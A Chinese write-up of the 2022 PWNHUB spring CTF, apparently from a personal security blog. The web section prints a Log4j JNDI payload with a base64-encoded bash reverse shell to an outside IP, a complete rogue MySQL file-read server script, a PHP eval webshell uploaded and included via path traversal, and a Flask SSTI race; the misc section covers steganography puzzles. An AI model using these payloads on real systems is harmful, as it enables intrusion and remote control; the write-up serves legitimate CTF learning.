2022 PWNHUB 春季赛 WriteUp Web&Misc

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2022 PWNHUB 春季赛 WriteUp Web&Misc

0x01 Web

EzPDFParser

扔IDEA里

image-20220426092718920

可以确定是log4j

https://github.com/eelyvy/log4jshell-pdf，跟着复现

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMjE1LjI1LjE2OC8yMzMzIDA+JjE=}|{base64,-d}|bash" -A "114.215.25.168"

image-20220426093858670

先生成一个PDF，找到size这里

image-20220426093128515

${jndi:ldap:${sys:file.separator}${sys:file.separator}114.215.25.168:1389${sys:file.separator}i5sswg}

image-20220426094015052

上传后getshell

image-20220426094126551

easyCMS

一个mysql文件读，起一个mysql服务，读取源码

#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 2333
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
'/var/www/html/route/route.php',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a',  # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)))
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
# daemonize()
asyncore.loop()

testTool.php：

<?php
// \xe5\x9c\xa8\xe7\x94\x9f\xe4\xba\xa7\xe7\x8e\xaf\xe5\xa2\x83\xe4\xb8\x8b\xe5\x88\xa0\xe9\x99\xa4\xe6\xad\xa4\xe5\xb7\xa5\xe5\x85\xb7\xe7\xb1\xbb\xef\xbc\x81
defined("INDEX") ? : header("Location: /");
class testTool extends baseTool
{
public function __construct($arg)
{
$this->input["var"] = $arg['192.168.88.141'] or NULL;
}
public static function init()
{
parent::userToolInit(__CLASS__, './index.php?s=tool/test', 'test\xe7\xb1\xbb');
}
private function test()
{
@mkdir("/tmp/sandbox");
if (is_string($this->input["var"])) {
$value = unserialize($this->input["var"]);   
$this->output = $value();
} else if (is_array($this->input["var"])) {
$value = $this->input["var"];
$path = '/tmp/sandbox/'.md5($_SERVER['REMOTE_ADDR']); ///tmp/sandbox/c2dd020c05b439f7c0f7c44b3eaa5964
if (!file_exists($path)) {
mkdir($path, 0777, true);
}
@file_put_contents($path.'/'.basename($value['file']), $value['data']);
} else {
$this->output = NULL;
}
}
public function __invoke()
{
call_user_func(array($this, 'test'));
return $this->output;
}
}

route.php

<?php
defined("INDEX") ? : header("Location: /");
class route
{
public $args = NULL;
protected $sArray = NULL;
protected $toolVar = NULL;
protected $mode = NULL;
protected $class = NULL;
protected $viewPath = NULL;
protected $toolPath = NULL;
public function __construct($s)
{
$this->sArray = explode('/', $s, 2);
$this->mode = $this->sArray[0];
$this->class = $this->sArray[1];
$this->args = $_POST or NULL;
}
public function loadAutoTool()
{
foreach(glob("./tools/autoLoadTools/*.php") as $file) {
include_once($file);
}
return $this;
}
public function getTool()
{
include_once('./tools/baseTool.php');
try {
if($this->mode === 'index')
$this->toolPath = 'webTools';
elseif($this->mode === 'tool')
$this->toolPath = 'userTools';
else
throw new Exception('Mode Error!');
$toolPath = './tools/'.$this->toolPath.'/'.$this->class.'Tool.php';
if(file_exists($toolPath) & include_once($toolPath));
else
throw new Exception('File Error!');
} catch(Exception $e) {
$this->includeError();
return NULL;
}
return $this;
}
public function startTool()
{
$toolClass = $this->class.'Tool';
if (class_exists($toolClass)) {
$toolObj = new $toolClass($this->args);
$this->toolVar = $toolObj();
} else {
$this->includeError();
return NULL;
}
return $this;
}
public function getView()
{
$toolVar = $this->toolVar;
switch (gettype($toolVar)) {
case "array":
$toolVar = htmlTool::arrayHtmlChar($toolVar);
break;
case "string":
$toolVar = htmlTool::stringHtmlChar($toolVar);
break;
}
try {
if($this->mode === 'index')
$this->viewPath = 'index';
elseif($this->mode === 'tool')
$this->viewPath = 'tool';
else
throw new Exception('Mode Error!');
$viewPath = './view/'.$this->viewPath.'/'.$this->class.'.php';
if(file_exists($viewPath))
require_once($viewPath);
else
throw new Exception('File Error!');
} catch(Exception $e) {
$this->includeError();
return NULL;
}
return $this;
}
public function includeError()
{
include_once('./view/error/404.php');
}
}

利用点：可以写文件，要传序列化数据

image-20220426190844799

sArray[1]; 是 / 之后的所有内容，可以目录穿越，包含getshell：

image-20220426190938526

http://47.97.127.1:21445/index.php?s=tool/test
Y0U_CA0_n3vEr_F1nD_m3_LOL=s:7:"phpinfo";

image-20220426191818524

phpinfo查看REMOTE_ADDR：

image-20220426192917523

本机ip：123.233.253.147，md5：83003065800cb9011a96bde94e33ea82，所以文件在/tmp/sandbox/83003065800cb9011a96bde94e33ea82下

写入

Y0U_CA0_n3vEr_F1nD_m3_LOL[file]=evilTool.php&Y0U_CA0_n3vEr_F1nD_m3_LOL[data]=<?php eval($_POST[mon]);?>

包含：

http://47.97.127.1:21445/index.php?s=tool/../../../../../../../../../tmp/sandbox/83003065800cb9011a96bde94e33ea82/evil
mon=system('ls /');

image-20220426193028614

baby_flask

import time
import re,os,sys
from flask import Flask,render_template,request
nums,locked = 0, False
app = Flask(__name__)
@app.route('/')
@app.route('/index')
def domain():
return 'Hello'
@app.route('/create')
def create():
try:
global nums, locked
assert not locked, "LOCKED"
default_content = "<h1>2</h1>"
locked = True
if nums > 9999:
raise Exception("templates full")
with open(f'./templates/{nums}.html', 'w') as f:
f.write(default_content)
msg = render_template(f'{nums}.html')
if msg != default_content:
kill()
nums += 1
except Exception as e:
msg = f"Something fail. {e}"
locked = False
return msg
@app.route('/show/<int:tid>')
def show(tid):
try:
global locked
assert not locked, "LOCKED"
locked = True
if not os.path.exists(f'./templates/{tid}.html'):
raise Exception('file not found')
msg = render_template(f'{tid}.html')
except Exception as e:
msg = f"Something fail. {e}"
locked = False
return msg
@app.route('/edit/<int:tid>', methods = ["POST"])
def edit(tid):
try:
global locked
assert not locked, "LOCKED"
locked = True
if not os.path.exists(f'./templates/{tid}.html'):
raise Exception('file not found')
if not request.files.get('edit.html'):
raise Exception('Please give me edit file')
f = request.files['edit.html']
f.save(f'./templates/{tid}.html')
msg = 'ok'
except Exception as e:
msg = f"Something fail. {e}"
locked = False
return msg
@app.route('/kill')
def kill():
func = request.environ.get('werkzeug.server.shutdown')
func()
return 'server exiting.'
if not os.path.exists('templates'):
os.system('mkdir templates')
else:
os.system('rm ./templates/*.html')
app.run(host='0.0.0.0', port=5001)

这里的 edit 路由一看就很有问题，在我们可以随意更改与读取模板的情况下肯定会存在 SSTI 问题的出现，但是

这里我们在本地测试后发现 edit 写入后并不会重新加载模板，我们在 show 的时候显示的还是 create 时写入的内容。

Flask 中有两个配置项 app.DEBUG 与 APP.jinja_env.auto_reload，前者为 Ture 时 代码更改后立即生效，后者为 Ture 时 模板修改后立即生效，无需重启，否则我们要重新加载的话是需要让 flask 应用重启的。

这里想到了之前 *CTF 中的 lotto，我们覆盖 app.py 后也是需要让应用重启的，但是那里给出了 dockerfile，我们知道启动方式为 gunicorn，这里在测试后发现延时或者抓包不放包等并不能使服务重启。

不过这里的 kill 路由存在使应用退出的功能，但是访问也访问不到，查询一下发现

img

那这个 kill 路由算是废掉了

重新审计源码，猜测存在并发时的线程安全问题，locked 全局变量可以在并发的其他路由中得到解除，同时可以在 msg = render_template(f'{nums}.html') 之前，利用 edit 实现模板的更改，成功加载。

create ，然后 edit，最后 show 查看

image-20220426194044771

写入 SSTI，成功执行

image-20220426194059698

cat flag

image-20220426194114306

成功拿到 flag

0x02 Misc

眼神得好

stegsolve stereogram solver倒着放

image-20220426083505307

被偷的flag

stegslove B0通道发现二维码

image-20220426083745340

扫码得到：1e:))}

image-20220426083822414

binwalk得到

image-20220426083933999

archpr爆破得到密码是flag{32145(，得到一个txt和pyc

pyc隐写，Stegosaurus提取出VqtS-HZ&*，txt 0宽得到Unc，最后是

image-20220426084132070

然后VqtS-HZ&*是base85，得到

image-20220426084250154

现在是：flag{32145(base64(Unc1e:))}

32145 -> 32 14 5 -> md5

flag{md5(base64(Unc1e:))}

bad cat

先是个cat变换，图太小，太难看了，爆破出来也看不出来....爆破变换参数

import numpy as np
import matplotlib.pyplot
from skimage.io import imread, imshow
import time
import math
import cv2
def arnold_decode(image, shuffle_times, a, b):
decode_image = np.zeros(shape=image.shape)
h, w = image.shape[0], image.shape[1]
N = h # 或N=w
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N
new_y = ((-a)*ori_x + ori_y) % N
decode_image[new_x, new_y] = image[ori_x, ori_y]
cv2.imshow("image",decode_image)
cv2.waitKey(10)
cv2.imwrite(i,decode_image)
return decode_image
final = imread('what.png')
n = 0
for m in range(0,1):
for z in range(0,500):
i = str(n) + '.png'
print(i,z,m)
arnold_decode(final, 10, z,m)
n = n+1

爆破出横向变换参数是16，可以爆破单一参数

image-20220426165135861

手撕：

image-20220426144917773

强制扫描

image-20220426144931143

xor一下

image-20220426145009768

看一下数据存储顺序：

image-20220426145125024

对比一下数据顺序：110101111101

image-20220426145155268

可以看到跟这个顺序是一样的：110101111101

image-20220426145305687

可以看到对起来，左边的数据，01000110的16进制转字符串，就是F，对应FLAG的F

image-20220426145022390

这里要写脚本，但是我懒，所以对着flag撕一下

现在这些空着的地方是需要补齐的，被我填上的是有数据的数据区：

image-20220426152250680

image-20220426152129816

根据我们查的资料，数据后面要用这些补齐码字符补齐：

image-20220426152318913

但是我按照这些手填上补齐码，也不对，不知道为啥

0x03 other

签到

image-20220426085418050


赏

谢谢你请我吃糖果

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tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

俗话说“好记性不如烂笔头”，各个安全社区各自为战，当我们想要搜索某一方面的文章的时候总是得在各个平台之间来回横跳，于是乎，一个平台文章聚合搜索的想法诞生了。
然后正好我想有一个自己的博客，于是乎两者融合在了一起。
下面简单介绍各个导航的区别：
个人文章：本人的笔记、复现、总结等或者本人参与的共同创作。
收集文章：手工从公众号收集保存的文章，更新频率看本人喜好所以比较慢。
聚合文章：从各大平台收集整理，由工具实现，每天更新。
很惭愧，只做了一点微小的工作。